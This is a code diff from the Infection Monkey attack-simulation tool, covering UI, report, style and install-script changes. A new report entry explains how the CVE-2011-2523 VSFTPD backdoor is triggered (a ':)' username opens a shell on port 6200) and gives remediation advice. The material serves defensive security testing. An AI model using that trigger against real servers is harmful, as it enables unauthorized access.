|
||||
}
|
||||
this.updateConfigSection();
|
||||
this.currentSection = key;
|
||||
this.setState({
|
||||
|
@ -124,7 +254,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
|
||||
resetConfig = () => {
|
||||
this.removePBAfiles();
|
||||
this.authFetch('/api/configuration/island',
|
||||
this.authFetch(CONFIG_URL,
|
||||
{
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
|
@ -137,8 +267,17 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
schema: res.schema,
|
||||
configuration: res.configuration
|
||||
});
|
||||
this.setInitialConfig(res.configuration);
|
||||
this.props.onStatusChange();
|
||||
});
|
||||
this.authFetch(ATTACK_URL,{ method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify('reset_attack_matrix')})
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
this.setState({attackConfig: res.configuration});
|
||||
this.setInitialAttackConfig(res.configuration);
|
||||
})
|
||||
};
|
||||
|
||||
removePBAfiles(){
|
||||
|
@ -162,7 +301,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
configuration: JSON.parse(event.target.result),
|
||||
selectedSection: 'basic',
|
||||
lastAction: 'import_success'
|
||||
});
|
||||
}, () => {this.sendConfig()});
|
||||
this.currentSection = 'basic';
|
||||
this.currentFormData = {};
|
||||
} catch(SyntaxError) {
|
||||
|
@ -175,6 +314,26 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
|
||||
};
|
||||
|
||||
sendConfig() {
|
||||
return (
|
||||
this.authFetch('/api/configuration/island',
|
||||
{
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify(this.state.configuration)
|
||||
})
|
||||
.then(res => {
|
||||
if (!res.ok)
|
||||
{
|
||||
throw Error()
|
||||
}
|
||||
return res;
|
||||
}).catch(error => {
|
||||
console.log('bad configuration');
|
||||
this.setState({lastAction: 'invalid_configuration'});
|
||||
}));
|
||||
};
|
||||
|
||||
importConfig = (event) => {
|
||||
let reader = new FileReader();
|
||||
reader.onload = this.onReadFile;
|
||||
|
@ -251,13 +410,12 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
}
|
||||
|
||||
static getFullPBAfile(filename){
|
||||
let pbaFile = [{
|
||||
return [{
|
||||
source: filename,
|
||||
options: {
|
||||
type: 'limbo'
|
||||
}
|
||||
}];
|
||||
return pbaFile
|
||||
}
|
||||
|
||||
static getMockPBAfile(mockFile){
|
||||
|
@ -271,39 +429,29 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
return pbaFile
|
||||
}
|
||||
|
||||
render() {
|
||||
let displayedSchema = {};
|
||||
if (this.state.schema.hasOwnProperty('properties')) {
|
||||
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
||||
displayedSchema['definitions'] = this.state.schema['definitions'];
|
||||
}
|
||||
return (
|
||||
<Col xs={12} lg={8}>
|
||||
<h1 className="page-title">Monkey Configuration</h1>
|
||||
<Nav bsStyle="tabs" justified
|
||||
activeKey={this.state.selectedSection} onSelect={this.setSelectedSection}
|
||||
style={{'marginBottom': '2em'}}>
|
||||
{this.state.sections.map(section =>
|
||||
<NavItem key={section.key} eventKey={section.key}>{section.title}</NavItem>
|
||||
)}
|
||||
</Nav>
|
||||
{
|
||||
this.state.selectedSection === 'basic_network' ?
|
||||
<div className="alert alert-info">
|
||||
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
||||
The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
|
||||
according to its range class.
|
||||
</div>
|
||||
: <div />
|
||||
}
|
||||
{ this.state.selectedSection ?
|
||||
<Form schema={displayedSchema}
|
||||
uiSchema={this.uiSchema}
|
||||
formData={this.state.configuration[this.state.selectedSection]}
|
||||
onSubmit={this.onSubmit}
|
||||
onChange={this.onChange}
|
||||
noValidate={true}>
|
||||
<div>
|
||||
renderMatrix = () => {
|
||||
return (<MatrixComponent configuration={this.state.attackConfig}
|
||||
submit={this.componentDidMount}
|
||||
reset={this.resetConfig}
|
||||
change={this.attackTechniqueChange}/>)
|
||||
};
|
||||
|
||||
|
||||
renderConfigContent = (displayedSchema) => {
|
||||
return (<div>
|
||||
{this.renderBasicNetworkWarning()}
|
||||
<Form schema={displayedSchema}
|
||||
uiSchema={this.uiSchemas[this.state.selectedSection]}
|
||||
formData={this.state.configuration[this.state.selectedSection]}
|
||||
onChange={this.onChange}
|
||||
noValidate={true} >
|
||||
<button type="submit" className={"hidden"}>Submit</button>
|
||||
</Form>
|
||||
</div> )
|
||||
};
|
||||
|
||||
renderRunningMonkeysWarning = () => {
|
||||
return (<div>
|
||||
{ this.state.allMonkeysAreDead ?
|
||||
'' :
|
||||
<div className="alert alert-warning">
|
||||
|
@ -312,17 +460,57 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
infections.
|
||||
</div>
|
||||
}
|
||||
<div className="text-center">
|
||||
<button type="submit" className="btn btn-success btn-lg" style={{margin: '5px'}}>
|
||||
Submit
|
||||
</button>
|
||||
<button type="button" onClick={this.resetConfig} className="btn btn-danger btn-lg" style={{margin: '5px'}}>
|
||||
Reset to defaults
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</Form>
|
||||
: ''}
|
||||
</div>)
|
||||
};
|
||||
|
||||
renderBasicNetworkWarning = () => {
|
||||
if (this.state.selectedSection === 'basic_network'){
|
||||
return (<div className="alert alert-info">
|
||||
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
||||
The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
|
||||
according to its range class.
|
||||
</div>)
|
||||
} else {
|
||||
return (<div />)
|
||||
}
|
||||
};
|
||||
|
||||
renderNav = () => {
|
||||
return (<Nav bsStyle="tabs" justified
|
||||
activeKey={this.state.selectedSection} onSelect={this.setSelectedSection}
|
||||
style={{'marginBottom': '2em'}}>
|
||||
{this.state.sections.map(section => <NavItem key={section.key} eventKey={section.key}>{section.title}</NavItem>)}
|
||||
</Nav>)
|
||||
};
|
||||
|
||||
render() {
|
||||
let displayedSchema = {};
|
||||
if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') {
|
||||
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
||||
displayedSchema['definitions'] = this.state.schema['definitions'];
|
||||
}
|
||||
let content = '';
|
||||
if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) {
|
||||
content = this.renderMatrix()
|
||||
} else if(this.state.selectedSection !== 'attack') {
|
||||
content = this.renderConfigContent(displayedSchema)
|
||||
}
|
||||
|
||||
return (
|
||||
<Col xs={12} lg={8}>
|
||||
{this.renderAttackAlertModal()}
|
||||
<h1 className="page-title">Monkey Configuration</h1>
|
||||
{this.renderNav()}
|
||||
{ this.renderRunningMonkeysWarning()}
|
||||
{ content }
|
||||
<div className="text-center">
|
||||
<button type="submit" onClick={this.onSubmit} className="btn btn-success btn-lg" style={{margin: '5px'}}>
|
||||
Submit
|
||||
</button>
|
||||
<button type="button" onClick={this.resetConfig} className="btn btn-danger btn-lg" style={{margin: '5px'}}>
|
||||
Reset to defaults
|
||||
</button>
|
||||
</div>
|
||||
<div className="text-center">
|
||||
<button onClick={() => document.getElementById('uploadInputInternal').click()}
|
||||
className="btn btn-info btn-lg" style={{margin: '5px'}}>
|
||||
|
@ -355,7 +543,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
{ this.state.lastAction === 'invalid_configuration' ?
|
||||
<div className="alert alert-danger">
|
||||
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
|
||||
An invalid configuration file was imported and submitted, probably outdated.
|
||||
An invalid configuration file was imported or submitted.
|
||||
</div>
|
||||
: ''}
|
||||
{ this.state.lastAction === 'import_success' ?
|
||||
|
|
|
@ -31,7 +31,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
WEBLOGIC: 9,
|
||||
HADOOP: 10,
|
||||
PTH_CRIT_SERVICES_ACCESS: 11,
|
||||
MSSQL: 12
|
||||
MSSQL: 12,
|
||||
VSFTPD: 13
|
||||
};
|
||||
|
||||
Warning =
|
||||
|
@ -298,20 +299,24 @@ class ReportPageComponent extends AuthComponent {
|
|||
return x === true;
|
||||
}).length > 0 ?
|
||||
<div>
|
||||
During this simulated attack the Monkey uncovered <span
|
||||
During this simulated attack the Monkey uncovered <span
|
||||
className="label label-warning">
|
||||
{this.state.report.overview.issues.filter(function (x) {
|
||||
return x === true;
|
||||
}).length} threats</span>:
|
||||
<ul>
|
||||
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
|
||||
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
|
||||
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
|
||||
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
|
||||
<li>Stolen credentials are used to exploit other machines.</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
|
||||
<li>Elasticsearch servers are vulnerable to <a
|
||||
href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>.
|
||||
</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.VSFTPD] ?
|
||||
<li>VSFTPD is vulnerable to <a
|
||||
href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">CVE-2011-2523</a>.
|
||||
</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.SAMBACRY] ?
|
||||
<li>Samba servers are vulnerable to ‘SambaCry’ (<a
|
||||
href="https://www.samba.org/samba/security/CVE-2017-7494.html"
|
||||
|
@ -422,6 +427,7 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
|
||||
generateReportGlanceSection() {
|
||||
let exploitPercentage =
|
||||
(100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
|
||||
|
@ -681,6 +687,28 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
generateVsftpdBackdoorIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
Update your VSFTPD server to the latest version vsftpd-3.0.3.
|
||||
<CollapsibleWellComponent>
|
||||
The machine <span className="label label-primary">{issue.machine}</span> (<span
|
||||
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) has a backdoor running at port <span
|
||||
className="label label-danger">6200</span>.
|
||||
<br/>
|
||||
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
|
||||
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
|
||||
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
|
||||
<br/><br/>
|
||||
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
|
||||
<br/><br/>Read more about the security issue and remediation <a
|
||||
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
|
||||
>here</a>.
|
||||
</CollapsibleWellComponent>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
generateElasticIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
|
@ -896,6 +924,9 @@ generateMSSQLIssue(issue) {
|
|||
generateIssue = (issue) => {
|
||||
let data;
|
||||
switch (issue.type) {
|
||||
case 'vsftp':
|
||||
data = this.generateVsftpdBackdoorIssue(issue);
|
||||
break;
|
||||
case 'smb_password':
|
||||
data = this.generateSmbPasswordIssue(issue);
|
||||
break;
|
||||
|
|
|
@ -0,0 +1,46 @@
|
|||
import React from 'react';
|
||||
import {Icon} from 'react-fa';
|
||||
|
||||
class VersionComponent extends React.Component {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {
|
||||
currentVersion: undefined,
|
||||
newerVersion: undefined,
|
||||
downloadLink: undefined
|
||||
}
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
fetch('/api/version-update') // This is not authenticated on purpose
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
this.setState({
|
||||
currentVersion: res['current_version'],
|
||||
newerVersion: res['newer_version'],
|
||||
downloadLink: res['download_link'],
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div className="version-text text-center">
|
||||
Infection Monkey Version: {this.state.currentVersion}
|
||||
{
|
||||
this.state.newerVersion ?
|
||||
<div>
|
||||
<b>Newer version available!</b>
|
||||
<br/>
|
||||
<b><a target="_blank" href={this.state.downloadLink}>Download here <Icon name="download"/></a></b>
|
||||
</div>
|
||||
:
|
||||
undefined
|
||||
}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
export default VersionComponent;
|
|
@ -0,0 +1,73 @@
|
|||
import '../../styles/Checkbox.scss'
|
||||
import React from 'react';
|
||||
|
||||
class CheckboxComponent extends React.PureComponent {
|
||||
|
||||
componentDidUpdate(prevProps) {
|
||||
if (this.props.checked !== prevProps.checked) {
|
||||
this.setState({checked: this.props.checked});
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
Parent component can pass a name and a changeHandler (function) for this component in props.
|
||||
changeHandler(name, checked) function will be called with these parameters:
|
||||
this.props.name (the name of this component) and
|
||||
this.state.checked (boolean indicating if this component is checked or not)
|
||||
*/
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {
|
||||
checked: this.props.checked,
|
||||
necessary: this.props.necessary,
|
||||
isAnimating: false
|
||||
};
|
||||
this.toggleChecked = this.toggleChecked.bind(this);
|
||||
this.stopAnimation = this.stopAnimation.bind(this);
|
||||
this.composeStateClasses = this.composeStateClasses.bind(this);
|
||||
}
|
||||
|
||||
//Toggles component.
|
||||
toggleChecked() {
|
||||
if (this.state.isAnimating) {return false;}
|
||||
this.setState({
|
||||
checked: !this.state.checked,
|
||||
isAnimating: true,
|
||||
}, () => { this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null});
|
||||
}
|
||||
|
||||
// Stops ping animation on checkbox after click
|
||||
stopAnimation() {
|
||||
this.setState({ isAnimating: false })
|
||||
}
|
||||
|
||||
// Creates class string for component
|
||||
composeStateClasses(core) {
|
||||
let result = core;
|
||||
if (this.state.necessary){
|
||||
return result + ' blocked'
|
||||
}
|
||||
if (this.state.checked) { result += ' is-checked'; }
|
||||
else { result += ' is-unchecked' }
|
||||
|
||||
if (this.state.isAnimating) { result += ' do-ping'; }
|
||||
return result;
|
||||
}
|
||||
|
||||
render() {
|
||||
const cl = this.composeStateClasses('ui-checkbox-btn');
|
||||
return (
|
||||
<div
|
||||
className={ cl }
|
||||
onClick={ this.state.necessary ? void(0) : this.toggleChecked}>
|
||||
<input className="ui ui-checkbox"
|
||||
type="checkbox" value={this.state.checked}
|
||||
name={this.props.name}/>
|
||||
<label className="text">{ this.props.children }</label>
|
||||
<div className="ui-btn-ping" onTransitionEnd={this.stopAnimation}></div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
export default CheckboxComponent;
|
|
@ -186,6 +186,10 @@ body {
|
|||
.nav-tabs > li > a {
|
||||
height: 63px
|
||||
}
|
||||
|
||||
.nav > li > a:focus {
|
||||
background-color: transparent !important;
|
||||
}
|
||||
/*
|
||||
* Run Monkey Page
|
||||
*/
|
||||
|
@ -515,3 +519,23 @@ body {
|
|||
}
|
||||
|
||||
}
|
||||
|
||||
/* Attack config page */
|
||||
.attack-matrix .messages {
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.attack-legend {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.version-text {
|
||||
font-size: 0.9em;
|
||||
position: absolute;
|
||||
bottom: 5px;
|
||||
left: 0;
|
||||
right: 0;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
|
|
@ -0,0 +1,105 @@
|
|||
// colors
|
||||
$light-grey: #EAF4F4;
|
||||
$medium-grey: #7B9EA8;
|
||||
$dark-green: #007d02;
|
||||
$green: #44CF6C;
|
||||
$black: #000000;
|
||||
|
||||
.ui-checkbox-btn {
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
background-color: rgba(red, .6);
|
||||
text-align: center;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
|
||||
input { display: none; }
|
||||
|
||||
.icon,
|
||||
.text {
|
||||
display: inline-block;
|
||||
color: inherit;
|
||||
}
|
||||
|
||||
.text {
|
||||
padding-top: 4px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
// color states
|
||||
&.is-unchecked {
|
||||
background-color: transparent;
|
||||
color: $black;
|
||||
fill: $black;
|
||||
}
|
||||
|
||||
&.blocked {
|
||||
background-color: $dark-green;
|
||||
color: $light-grey;
|
||||
fill: $light-grey;
|
||||
}
|
||||
|
||||
&.is-checked {
|
||||
background-color: $green;
|
||||
color: white;
|
||||
fill: white;
|
||||
}
|
||||
}
|
||||
|
||||
.icon {
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
|
||||
svg {
|
||||
position: absolute;
|
||||
top: 0; right: 0; bottom: 0; left: 0;
|
||||
margin: auto;
|
||||
width: 16px;
|
||||
height: auto;
|
||||
fill: inherit;
|
||||
}
|
||||
|
||||
.is-checked & {
|
||||
color: white;
|
||||
fill: white;
|
||||
}
|
||||
}
|
||||
|
||||
// ping animation magic
|
||||
.ui-btn-ping {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 100%;
|
||||
transform: translate3d(-50%, -50%, 0); // center center by default
|
||||
|
||||
// set the square
|
||||
&:before {
|
||||
content: '';
|
||||
transform: scale(0, 0); // center center by default
|
||||
transition-property: background-color transform;
|
||||
transition-timing-function: cubic-bezier(0.0, 0.0, 0.2, 1);
|
||||
display: block;
|
||||
padding-bottom: 100%;
|
||||
border-radius: 50%;
|
||||
background-color: rgba(white, .84);;
|
||||
}
|
||||
|
||||
.do-ping &:before {
|
||||
transform: scale(2.5, 2.5);
|
||||
transition-duration: .35s;
|
||||
background-color: rgba(white, .08);
|
||||
}
|
||||
}
|
||||
|
||||
.icon-checked{
|
||||
color:$green
|
||||
}
|
||||
|
||||
.icon-mandatory{
|
||||
color:$dark-green
|
||||
}
|
||||
|
||||
.icon-unchecked{
|
||||
color:$black;
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
$background: #000000;
|
||||
$font: #fff;
|
||||
|
||||
.react-tooltip-lite {
|
||||
background: $background;
|
||||
color: $font;
|
||||
max-width: 400px !important;
|
||||
}
|
|
@ -18,6 +18,14 @@ module.exports = {
|
|||
'css-loader'
|
||||
]
|
||||
},
|
||||
{
|
||||
test: /\.scss$/,
|
||||
use: [
|
||||
'style-loader',
|
||||
'css-loader',
|
||||
'sass-loader'
|
||||
]
|
||||
},
|
||||
{
|
||||
test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/,
|
||||
use: {
|
||||
|
|
|
@ -3,19 +3,19 @@
|
|||
export os_version_monkey=$(cat /etc/issue)
|
||||
MONGODB_DIR=$1 # If using deb, this should be: /var/monkey/monkey_island/bin/mongodb
|
||||
|
||||
if [[ $os_version_monkey == "Ubuntu 16.04"* ]] ;
|
||||
if [[ ${os_version_monkey} == "Ubuntu 16.04"* ]] ;
|
||||
then
|
||||
echo Detected Ubuntu 16.04
|
||||
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-3.6.12.tgz"
|
||||
elif [[ $os_version_monkey == "Ubuntu 18.04"* ]] ;
|
||||
elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]] ;
|
||||
then
|
||||
echo Detected Ubuntu 18.04
|
||||
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.0.8.tgz"
|
||||
elif [[ $os_version_monkey == "Debian GNU/Linux 8"* ]] ;
|
||||
elif [[ ${os_version_monkey} == "Debian GNU/Linux 8"* ]] ;
|
||||
then
|
||||
echo Detected Debian 8
|
||||
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian81-3.6.12.tgz"
|
||||
elif [[ $os_version_monkey == "Debian GNU/Linux 9"* ]] ;
|
||||
elif [[ ${os_version_monkey} == "Debian GNU/Linux 9"* ]] ;
|
||||
then
|
||||
echo Detected Debian 9
|
||||
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian92-3.6.12.tgz"
|
||||
|
@ -25,15 +25,15 @@ else
|
|||
fi
|
||||
|
||||
TEMP_MONGO=$(mktemp -d)
|
||||
pushd $TEMP_MONGO
|
||||
wget $tgz_url -O mongodb.tgz
|
||||
pushd ${TEMP_MONGO}
|
||||
wget ${tgz_url} -O mongodb.tgz
|
||||
tar -xf mongodb.tgz
|
||||
popd
|
||||
|
||||
mkdir -p $MONGODB_DIR/bin
|
||||
cp $TEMP_MONGO/mongodb-*/bin/mongod $MONGODB_DIR/bin/mongod
|
||||
cp $TEMP_MONGO/mongodb-*/LICENSE-Community.txt $MONGODB_DIR/
|
||||
chmod a+x $MONGODB_DIR/bin/mongod
|
||||
rm -r $TEMP_MONGO
|
||||
mkdir -p ${MONGODB_DIR}/bin
|
||||
cp ${TEMP_MONGO}/mongodb-*/bin/mongod ${MONGODB_DIR}/bin/mongod
|
||||
cp ${TEMP_MONGO}/mongodb-*/LICENSE-Community.txt ${MONGODB_DIR}/
|
||||
chmod a+x ${MONGODB_DIR}/bin/mongod
|
||||
rm -r ${TEMP_MONGO}
|
||||
|
||||
exit 0
|
|
@ -65,12 +65,8 @@ How to run:
|
|||
|
||||
4. Setup MongoDB (Use one of the two following options):
|
||||
4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb
|
||||
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
|
||||
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
|
||||
find more at - https://www.mongodb.org/downloads#production
|
||||
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
|
||||
(make sure the content of the mongo folder is in this directory, meaning this path exists:
|
||||
/var/monkey_island/bin/mongodb/bin)
|
||||
4.a.1. Run '/var/monkey_island/linux/install_mongo.sh /var/monkey_island/bin/mongodb'
|
||||
This will download and extract the relevant mongoDB for your OS.
|
||||
OR
|
||||
4.b. Use already running instance of mongodb
|
||||
4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server
|
||||
|
|
|
@ -1,3 +1,4 @@
|
|||
bson
|
||||
python-dateutil
|
||||
tornado==5.1.1
|
||||
werkzeug
|
||||
|
@ -18,9 +19,9 @@ boto3
|
|||
botocore
|
||||
PyInstaller
|
||||
awscli
|
||||
bson
|
||||
cffi
|
||||
virtualenv
|
||||
wheel
|
||||
mongoengine
|
||||
mongomock
|
||||
requests
|
||||
|
|
|
@ -1,3 +1,3 @@
|
|||
REM - Runs MongoDB Server -
|
||||
@title MongoDB
|
||||
@bin\mongodb\mongod.exe --dbpath db
|
||||
@bin\mongodb\mongod.exe --dbpath db --bind_ip 127.0.0.1
|
Loading…
Reference in New Issue